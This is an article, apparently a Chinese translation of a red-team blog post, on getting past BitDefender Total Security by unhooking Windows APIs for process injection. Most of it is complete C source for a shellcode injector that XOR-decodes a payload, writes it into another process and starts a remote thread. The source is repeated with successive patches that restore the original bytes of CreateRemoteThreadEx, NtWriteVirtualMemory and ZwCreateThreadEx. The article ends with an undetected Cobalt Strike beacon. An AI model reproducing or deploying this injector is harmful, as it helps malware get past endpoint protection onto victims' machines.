利用API unhooking完成进程注入,成功绕过Bitdefender检测
2020-10-24 10:20:00 Author: www.4hou.com(查看原文) 阅读量:234 收藏

绕过端点防护软件(如AV/EDR)是红队行动中的一项重要工作,但是在完成这项工作之前,我们可能需要一些时间来了解这些防护软件是如何工作的。而随着网上发布了大量关于这个主题的资源,了解这些产品的工作原理以及如何绕过它们也变得更加容易。在这篇文章中,我将向大家展示如何利用windows API unhooking技术来绕过BitDefender全功能安全套装的。在此过程中,我们将为读者介绍关于API unhooking的概念,以及如何利用这种技术来绕过安全防护软件。

我们的主要目标是,在启动了BitDefender全功能安全套装的机器上,通过进程注入以获得一个“活蹦乱跳”的Cobalt Strike Beacon。

什么是API Hooking?

API hooking是一种用于拦截和检查win32 API调用的方法,这种技术被AV/EDR用来监视win32 API调用,并判断这些调用是否合法。所以简单来说,AV/EDR会通过在一个由解决方案本身控制的自定义模块中添加一个JMP指令来改变普通API调用的执行流程,该模块会扫描API调用及其参数,并检查它们是否合法。

这篇由Spotless撰写的文章解释了API hooking的工作原理,感兴趣的读者可以通过它来了解该技术的详细信息。

尝试通过进程注入实现免杀

在之前的文章中,我介绍了如何先对shellcode进行编码,然后再在内存中进行解码,以实现免杀。下面,让我们再尝试一下这种技术,看看它针对BitDefender全功能安全套装是否有效。

像在上一篇文章中一样,用于对shellcode进行编码的代码并没有发生变化,具体如下所示:

#include
 
// This code was written for researching purpose, you have to edit it before using it in real-world
 
// This code will deocde your shellcode and write it directly to the memory
 
int main(int argc, char* argv[]) {
 
// Our Shellcode
 
unsigned char shellcode[] = "MyEncodedshellcode";
 
 
// Check arguments counter
if(argc != 2){
    printf("[+] Usage : decoder.exe [PID]\n");
    exit(0);
}
 
// The process id we want to inject our code to passed to the executable
// Use GetCurrentProcessId() to inject the shellcode into original process
int process_id = atoi(argv[1]);
 
 
// Define the base_address variable which will save the allocated memory address
LPVOID base_address;
 
// Retrive the process handle using OpenProcess
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
 
    if (process) {
        printf("[+] Handle retrieved successfully!\n");
        printf("[+] Handle value is %p\n", process);
        base_address = VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (base_address) {
            printf("[+] Allocated based address is 0x%x\n", base_address);
 
 
                // Data chars counter
                int i;
 
                // Base address counter
                int n = 0;
 
 
                for(i = 0; i<=sizeof(shellcode); i++){
 
                    // Decode shellcode opcode (you can edit it based on your encoder settings)
                    char DecodedOpCode = shellcode[i] ^ 0x01;
 
                    // Write the decoded bytes in memory address
                    if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){
 
 
            // Write the memory address where the data was written
                        printf("[+] Byte 0x%X wrote sucessfully! at 0x%X\n", DecodedOpCode, base_address + n);
 
                        // Increase memory address by 1
                        n++;
                    }
 
                }
 
                // Run our code as RemoteThread
                CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, NULL, 0x50002);
 
 
        }
        else {
            printf("[+] Unable to allocate memory ..\n");
        }
    }
    else {
        printf("[-] Enable to retrieve process handle\n");
    }
 
}

当我编译文件并运行它来注入explorer.exe的shellcode后,我得到了以下结果:

1.png

BitDefender检测到该文件的执行情况并进行了拦截

我们可以看到,上述代码执行时被BitDefender检测到并被拦截,同时,“injector.exe”也被删除了。

那么,到底发生了什么,为什么上述代码在执行时会被拦截呢?

检测hooking

在重新编译可执行文件后,我开始进行调试,看看有没有外部DLL被注入到可执行文件中,结果如下所示:

1.png

注入的定制模块

我的可执行文件中加载了一个名为atcuf64.dll的文件,并且这个文件与BitDefender有关!

于是,我开始调试在shellcode注入过程中调用的主要win32API,当然,我从最可疑的 "CreateRemoteThread "开始调试的,反汇编结果如下所示:

1.png

CreateRemoteThread的反汇编代码

这里没有什么可疑的地方,但是,从执行流程中我们可以看到,我们将使用CreateRemoteThreadEx API,所以,我对其进行反汇编,结果如下所示:

1.png

被Hooked的CreateRemoteThread

这看起来很不寻常!我们在API的开头部分有一个JMP指令,如果我们跟踪执行流程,则会看到下列情况:

1.png

重定向到BitDefender模块

我们可以看到,在执行完JMP后,我们将到达actuf64.dll,这意味着这个函数上有一个hook,可以将执行流程重定向到BitDefender的模块中检查相关调用。

所以,当我们试图对CreateRemoteThread进行调用时,当它到达CreateRemoteThreadEx时,调用会被重定向到BitDefender的模块,为了避免对其进行检查,我们需要将函数CreateRemoteThreadEx返回到原来的状态,这就是unhooking的概念。

而基于此,我们的CreateRemoteThread API调用将不会继续按照预定的执行流程进行,也就是不会到达ZwCreateThreadEx API,而这个API是CreateRemoteThreadEx依赖的底层API。

关于这个问题,我们后面会详细介绍,现在只要记住这一点就可以了。

API Unhooking

同样,API Unhooking是这样一种技术,它们能够让被AV/EDR动过手脚的API返回原始状态,这里所说的“手脚”指的是添加到API中的JMP,该JMP用于将其钩住,以改变原来的执行流程。

我们如何将它恢复到原来的状态呢?我们可以通过以下方式来实现:

· 对于被做过手脚的函数,从原始函数中读取原始字节。为了实现该任务,只需通过调试器直接从DLL反汇编出该函数即可。

· 用原始字节覆盖被动过手脚的字节。该任务可以通过简单的内存补丁来实现:只需将数据写入特定的地址即可。

为了得到CreateRemoteThreadEx API的原始字节,我们可以打开一个新的调试器窗口,并加载kernelbase.dll,因为我们的CreateRemoteThreadEx函数就在那里。

然后,我们可以在命令窗口中键入“disasm CreateRemoteThreadEx”:

1.png

disasm命令

1.png

CreateRemoteThreadEx的原始字节

另一种从“x64dbg”中获取原始字节的方法是将调试器附加到kernelbase.dll后,打开符号选项卡,最后在搜索栏中搜索CreateRemoteThreadEx函数,双击得到如下内容:

1.png

搜索CreateRemoteThreadEx

1.png

CreateRemoteThreadEx原始字节(与其他方法得到的结果相同)

我们可以看到,我们通过反汇编API得到了原始字节,从原始字节中我们可以看到,它有5个字节“4C 8B DC 53 56”被JMP指令所代替,所以,为了解除该函数的钩子,并恢复到原来的状态,我们需要在kernelbase.dll被加载到我们的二进制代码后,覆盖这些字节。

我们可以使用下面的代码来实现该操作:

// Patch 1 to unhook CreateRemoteThreadEx (kernelbase.dll)
 
HANDLE kernalbase_handle = GetModuleHandle("kernelbase");
 
LPVOID CRT_address = GetProcAddress(kernalbase_handle, "CreateRemoteThreadEx");
 
printf("[+] CreateRemoteThreadEx address is : %p\n", CRT_address);
 
 
if (WriteProcessMemory(GetCurrentProcess(), CRT_address, "\x4C\x8B\xDC\x53\x56", 5 , NULL)){
    
    printf("[+] CreateRemoteThreadEx unhooking done!\n");
}

上面的代码将使用GetModuleHandle函数获取kernelbase.dll模块的句柄,然后使用GetProcAddress获取函数CreateRemoteThreadEx的地址,然后打印CreateRemoteThreadEx的地址,最后写入由字节“\x4C\x8B\xDC\x53\x56”组成的原始字节。

之后,我们将CreateRemoteThreadEx的地址打印出来,最后,我们将原始字节“\x4C\x8B\xDC\x53\x56”写到函数的开头部分,并利用WriteProcessMemory将其恢复到原来的状态。

当然,我们是把CetCurrentProcess()作为进程句柄传递给WriteProcessMemory的。

所以,我们的代码将变成:

#include
 
 
// This code was written for researching purpose, you have to edit it before using it in real-world
 
// This code will deocde your shellcode and write it directly to the memory using WIN32APIs
 
// This code will unhook a couple of WIN32 APIs that was hooked by Bit defender total security
 
 
 
int main(int argc, char* argv[]) {
    
    
 
// Our Shellcode
 
unsigned char shellcode[] = "";
 
// Check arguments counter
 
if(argc != 2){
    printf("[+] Usage : injector.exe [PID]\n");
    exit(0);
}
 
// The process id we want to inject our code to passed to the executable
// Use GetCurrentProcessId() to inject the shellcode into original process
int process_id = atoi(argv[1]);
 
 
 
// Patch 1 to unhook CreateRemoteThreadEx (kernelbase.dll)
 
HANDLE kernalbase_handle = GetModuleHandle("kernelbase");
 
LPVOID CRT_address = GetProcAddress(kernalbase_handle, "CreateRemoteThreadEx");
 
printf("[+] CreateRemoteThreadEx address is : %p\n", CRT_address);
 
 
if (WriteProcessMemory(GetCurrentProcess(), CRT_address, "\x4C\x8B\xDC\x53\x56", 5 , NULL)){
    
    printf("[+] CreateRemoteThreadEx unhooking done!\n");
}
 
 
// Define the base_address variable which will save the allocated memory address
LPVOID base_address;
 
// Retrive the process handle using OpenProcess
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
 
    if (process) {
        printf("[+] Handle retrieved successfully!\n");
        printf("[+] Handle value is %p\n", process);
        base_address = VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (base_address) {
            printf("[+] Allocated based address is 0x%x\n", base_address);
 
 
                // Data chars counter
                int i;
 
                // Base address counter
                int n = 0;
 
 
                for(i = 0; i<=sizeof(shellcode); i++){
 
                    // Decode shellcode opcode (you can edit it based on your encoder settings)
                    char DecodedOpCode = shellcode[i] ^ 0x01;
 
                    // Write the decoded bytes in memory address
                    
                    if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){
 
 
            // Write the memory address where the data was written
                        printf("[+] Byte 0x%X wrote sucessfully! at 0x%X\n", DecodedOpCode, base_address + n);
 
                        // Increase memory address by 1
                        n++;
                    }
 
                }
 
                // Run our code as RemoteThread
            CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, 0, 0x1337);
 
 
 
        }
        else {
            printf("[+] Unable to allocate memory ..\n");
        }
    }
    else {
        printf("[-] Enable to retrieve process h2andle\n");
    }
 
}

重新编译后,我又把它附加到调试器上,并在OpenPrcoess函数中设置了一个断点,以确保我们能到达补丁代码中如下所示的“解钩部分”: 1.png

正如我们所看到的,打补丁过程没有任何问题,我们打印了CreateRemoteThreadEx函数的地址,这与之前是一样的。

那么,我们把那个地址进行反汇编,从而得到CreateRemoteThreadEx的地址,具体如下所示:

1.png

打过补丁的CreateRemoteThreadEx

太好了!我们可以看到,我们恢复了我们的API的原始字节(即完成了脱钩操作),这样执行流程将恢复正常。

现在如果我们运行软件应该就可以了吧?

不幸的是,答案是否定的!因为当我执行程序时,它又被检测到了,这次甚至在执行CreateRemoteThread函数之前就被检测到了,这意味着,在我们编辑代码后,仍有另一个API被捕获了。

经过对代码的深入挖掘,以及回顾了我所做的修改后,我注意到我们使用了“WriteProcessMemory”调用来写入我们shellcode中的每一个字节,并对内存进行了修补,这引起了BitDefender的怀疑。

于是我试着通过反汇编WriteProcessMemory,看看它是否被钩住了,结果如下所示:

1.png

没有任何可疑之处,所以,下面让我们跟踪执行流程,看看这个普通的JMP跳转到kernelbase后到底发生了什么。

1.png

调用NtWriteVirutalMemory

所以,我们可以看到,我们到达了一个位置,该位置发生了对NtWriteVirtualMemory的调用,当然,这个调用是“WriteProcessMemory”使用的底层函数,让我们跟踪该调用,看看到底啥情况:

1.png

NtWriteVirualMemory被钩住了

原来是函数NtWriteVirtualMemory被钩住了!而且由于某种原因,一旦我们修补了内存,并用它来写入shellcode时,它就被检测到了;不过请注意,当我第一次执行可执行文件时,它成功地到达了CreateRemoteThread!

也就是说,一旦我们添加了补丁函数,这个调用就变得可疑了。

所以,为了绕过这个问题,我们需要给NtWriteVirtualMemory打补丁,让我们像使用CreateRemoteThreadEx函数一样来获取它的原始字节。

而要做到这一点,我们可使用调试器打开ntdll.dll,并反汇编NtWriteVirtualMemory函数,从而得到以下字节:

1.png

NtWriteVirualMemory的原始字节

如上所示,我们得到了NtWriteVirualMemory的原始字节,而这些字节将被Bitdefender模块的JMP所替换。

JMP替换的几个字节为“4C 8B D1 B8 3C”,所以,要想解除这个函数上的钩子,我们需要把JMP替换成原来的那5个字节;为此,我们将重新使用之前的代码,具体如下所示:

// Patch 2 to unhook NtWriteVirtualMemory (ntdll.dll)
// Unhooked it because it gets detected while calling it multiple times
 
HANDLE ntdll_handle = GetModuleHandle("ntdll");
 
LPVOID NtWriteVirtualMemory_Address = GetProcAddress(ntdll_handle, "NtWriteVirtualMemory");
 
printf("[+] NtWriteVirtualMemory address is : %p\n", NtWriteVirtualMemory_Address);
 
 
 
if (WriteProcessMemory(GetCurrentProcess(), NtWriteVirtualMemory_Address, "\x4C\x8B\xD1\xB8\x3A", 5 , NULL)){
    
    printf("[+] NtWriteVirtualMemory unkooking done!\n");
}

我们还是使用GetModuleHandle来获取ntdll库,并使用GetProcAddress来获取NtWriteVirtualMemory函数的地址。

最后,我们把原来的字节写到NtWriteVirtualMemory函数的开头部分,它将用原来的5个字节替换JMP指令。

所以,injector的代码将变成:

#include
 
 
// This code was written for researching purpose, you have to edit it before using it in real-world
 
// This code will deocde your shellcode and write it directly to the memory using WIN32APIs
 
// This code will unhook a couple of WIN32 APIs that was hooked by Bit defender total security
 
 
 
int main(int argc, char* argv[]) {
    
    
 
// Our Shellcode
 
unsigned char shellcode[] = "";
 
// Check arguments counter
 
if(argc != 2){
    printf("[+] Usage : injector.exe [PID]\n");
    exit(0);
}
 
// The process id we want to inject our code to passed to the executable
// Use GetCurrentProcessId() to inject the shellcode into original process
int process_id = atoi(argv[1]);
 
 
 
// Patch 1 to unhook CreateRemoteThreadEx (kernelbase.dll)
 
HANDLE kernalbase_handle = GetModuleHandle("kernelbase");
 
LPVOID CRT_address = GetProcAddress(kernalbase_handle, "CreateRemoteThreadEx");
 
printf("[+] CreateRemoteThreadEx address is : %p\n", CRT_address);
 
 
if (WriteProcessMemory(GetCurrentProcess(), CRT_address, "\x4C\x8B\xDC\x53\x56", 5 , NULL)){
    
    printf("[+] CreateRemoteThreadEx unhooking done!\n");
}
 
// Patch 2 to unhook NtWriteVirtualMemory (ntdll.dll)
// Unhooked it because it gets detected while calling it multiple times
 
HANDLE ntdll_handle = GetModuleHandle("ntdll");
 
LPVOID NtWriteVirtualMemory_Address = GetProcAddress(ntdll_handle, "NtWriteVirtualMemory");
 
printf("[+] NtWriteVirtualMemory address is : %p\n", NtWriteVirtualMemory_Address);
 
 
 
if (WriteProcessMemory(GetCurrentProcess(), NtWriteVirtualMemory_Address, "\x4C\x8B\xD1\xB8\x3A", 5 , NULL)){
    
    printf("[+] NtWriteVirtualMemory unkooking done!\n");
}
 
 
// Define the base_address variable which will save the allocated memory address
LPVOID base_address;
 
// Retrive the process handle using OpenProcess
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
 
    if (process) {
        printf("[+] Handle retrieved successfully!\n");
        printf("[+] Handle value is %p\n", process);
        base_address = VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (base_address) {
            printf("[+] Allocated based address is 0x%x\n", base_address);
 
 
                // Data chars counter
                int i;
 
                // Base address counter
                int n = 0;
 
 
                for(i = 0; i<=sizeof(shellcode); i++){
 
                    // Decode shellcode opcode (you can edit it based on your encoder settings)
                    char DecodedOpCode = shellcode[i] ^ 0x01;
 
                    // Write the decoded bytes in memory address
                    
                    if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){
 
 
            // Write the memory address where the data was written
                        printf("[+] Byte 0x%X wrote sucessfully! at 0x%X\n", DecodedOpCode, base_address + n);
 
                        // Increase memory address by 1
                        n++;
                    }
 
                }
 
                // Run our code as RemoteThread
            CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, 0, 0x1337);
 
 
 
        }
        else {
            printf("[+] Unable to allocate memory ..\n");
        }
    }
    else {
        printf("[-] Enable to retrieve process h2andle\n");
    }
 
}

让我们编译上述代码,并将其附加到我们的调试器中,然后在CreateRemoteThread中设置一个断点,看看这次能否达到这里;同时,我们将查看控制台,看看是否成功修补了这两个函数。

如果我们达到了CreateRemoteThread函数,说明我们成功修补了NtWriteVirtualMemory函数,并能够绕过对它的限制。

所以,在做完这些之后,我得到了以下结果: 

1.png

解除钩子后,成功到达CreateRemoteThread

很好!我们可以看到,在解除这两个函数的钩子后,我们到达了CreateRemoteThread,这意味着我们可以继续执行了。

还记得前面关于ZwCreateThreadEx的那句话吗:它是CreateRemoteThreadEx的底层函数。所以,让我们继续执行代码,直到我们到达该函数,以检查它是否被钩住。

1.png

ZwCreateThreadEx被钩住了

我们可以看到,函数ZwCreateThreadEx也被钩住了!这意味着如果我们继续运行的话,它将再次被重定向到BitDefender的模块,这正是我们需要避免的。

所以,我们仍然需要获取这个函数的原始字节,并用其被钩住的指令来解除这个函数的钩子,以实现“脱钩”。

于是,我再次使用调试器打开ntdll.dll,准备从ZwCreateThreadEx函数中读取原始指令:

1.png

选中ZwCreateThreadEx函数

点击该函数时,将得到以下代码:

1.png

ZwCreateThreadEx 原始字节

我们得到了ZwCreateThreadEx的原始字节“4C 8B D1 B8 C1”,所以同样的,现在要想解除这个函数的钩子,我们只需要在ntdll中的原始函数加载到我们的可执行文件中之后,使用这些字节覆盖相应指令即可。

请注意,所有的原始字节都与syscall本身有关,也就是说JMP指令总能通过阻止运行API而避免被钩住。

我们将使用这段代码来编写最后的补丁,该补丁将像下面这样来避免ZwCreateThreadEx函数被钩住:

#include
 
 
// This code was written for researching purpose, you have to edit it before using it in real-world
 
// This code will deocde your shellcode and write it directly to the memory using WIN32APIs
 
// This code will unhook a couple of WIN32 APIs that was hooked by Bit defender total security
 
 
 
int main(int argc, char* argv[]) {
    
    
 
// Our Shellcode
 
unsigned char shellcode[] = "";
 
// Check arguments counter
 
if(argc != 2){
    printf("[+] Usage : injector.exe [PID]\n");
    exit(0);
}
 
// The process id we want to inject our code to passed to the executable
// Use GetCurrentProcessId() to inject the shellcode into original process
int process_id = atoi(argv[1]);
 
 
 
// Patch 1 to unhook CreateRemoteThreadEx (kernelbase.dll)
 
HANDLE kernalbase_handle = GetModuleHandle("kernelbase");
 
LPVOID CRT_address = GetProcAddress(kernalbase_handle, "CreateRemoteThreadEx");
 
printf("[+] CreateRemoteThreadEx address is : %p\n", CRT_address);
 
 
if (WriteProcessMemory(GetCurrentProcess(), CRT_address, "\x4C\x8B\xDC\x53\x56", 5 , NULL)){
    
    printf("[+] CreateRemoteThreadEx unhooking done!\n");
}
 
// Patch 2 to unhook NtWriteVirtualMemory (ntdll.dll)
// Unhooked it because it gets detected while calling it multiple times
 
HANDLE ntdll_handle = GetModuleHandle("ntdll");
 
LPVOID NtWriteVirtualMemory_Address = GetProcAddress(ntdll_handle, "NtWriteVirtualMemory");
 
printf("[+] NtWriteVirtualMemory address is : %p\n", NtWriteVirtualMemory_Address);
 
 
 
if (WriteProcessMemory(GetCurrentProcess(), NtWriteVirtualMemory_Address, "\x4C\x8B\xD1\xB8\x3A", 5 , NULL)){
    
    printf("[+] NtWriteVirtualMemory unkooking done!\n");
}
 
// Patch 3 to unhook ZwCreateThreadEx (ntdll.dll)
 
LPVOID ZWCreateThreadEx_address = GetProcAddress(ntdll_handle, "ZwCreateThreadEx");
 
printf("[+] ZwCreateThreadEx address is : %p\n", ZWCreateThreadEx_address);
 
 
if (WriteProcessMemory(GetCurrentProcess(), ZWCreateThreadEx_address, "\x4C\x8B\xD1\xB8\xC1", 5 , NULL)){
    
    printf("[+] ZwCreateThreadEx unhooking done!\n");
}
 
// Define the base_address variable which will save the allocated memory address
LPVOID base_address;
 
// Retrive the process handle using OpenProcess
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
 
    if (process) {
        printf("[+] Handle retrieved successfully!\n");
        printf("[+] Handle value is %p\n", process);
        base_address = VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (base_address) {
            printf("[+] Allocated based address is 0x%x\n", base_address);
 
 
                // Data chars counter
                int i;
 
                // Base address counter
                int n = 0;
 
 
                for(i = 0; i<=sizeof(shellcode); i++){
 
                    // Decode shellcode opcode (you can edit it based on your encoder settings)
                    char DecodedOpCode = shellcode[i] ^ 0x01;
 
                    // Write the decoded bytes in memory address
                    
                    if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){
 
 
            // Write the memory address where the data was written
                        printf("[+] Byte 0x%X wrote sucessfully! at 0x%X\n", DecodedOpCode, base_address + n);
 
                        // Increase memory address by 1
                        n++;
                    }
 
                }
 
                // Run our code as RemoteThread
            CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, 0, 0x1337);
 
 
 
        }
        else {
            printf("[+] Unable to allocate memory ..\n");
        }
    }
    else {
        printf("[-] Enable to retrieve process h2andle\n");
    }
 
}

正如我们所看到的,这与前面的补丁代码几乎完全相同,这里只是改变了几个字节和函数名。

所以,让我们再次编译代码,并在CreateRemoteThread函数中设置一个断点来读取控制台并在那里停止,然后我们将反汇编ZwCreateThreadEx函数,以查看它是否解除了钩子:

1.png

所有的函数解除了钩子

我们可以看到,所有的函数都已经成功解除了钩子,并抵达了CreateRemoteThread函数。接下来,让我们反汇编ZwCreateThreadEx函数:

1.png

ZwCreateThreadEx已经解除了钩子

我们可以看到,该函数被成功解除了钩子,所以,我们应该可以顺利执行Injector了。

现在,我将关闭调试器,并像下面这样运行代码:

1.png

Injector已被执行

我们可以看到,它被顺利执行了,而且没有弹出任何警报!

然后,继续执行Cobalt Strike:

1.png

Cobalt Strike Beacon

看,Cobalt Strike Beacon并没有被检测到!

致谢

在这里,我要特别感谢spotless撰写了关于API hooking的优秀文章,当然,也包括其他主题方面的文章。我在这篇文章中的方法,基本上就是出自这些文章。

本文翻译自:https://shells.systems/defeat-bitdefender-total-security-using-windows-api-unhooking-to-perform-process-injection/如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/BQq2
如有侵权请联系:admin#unsafe.sh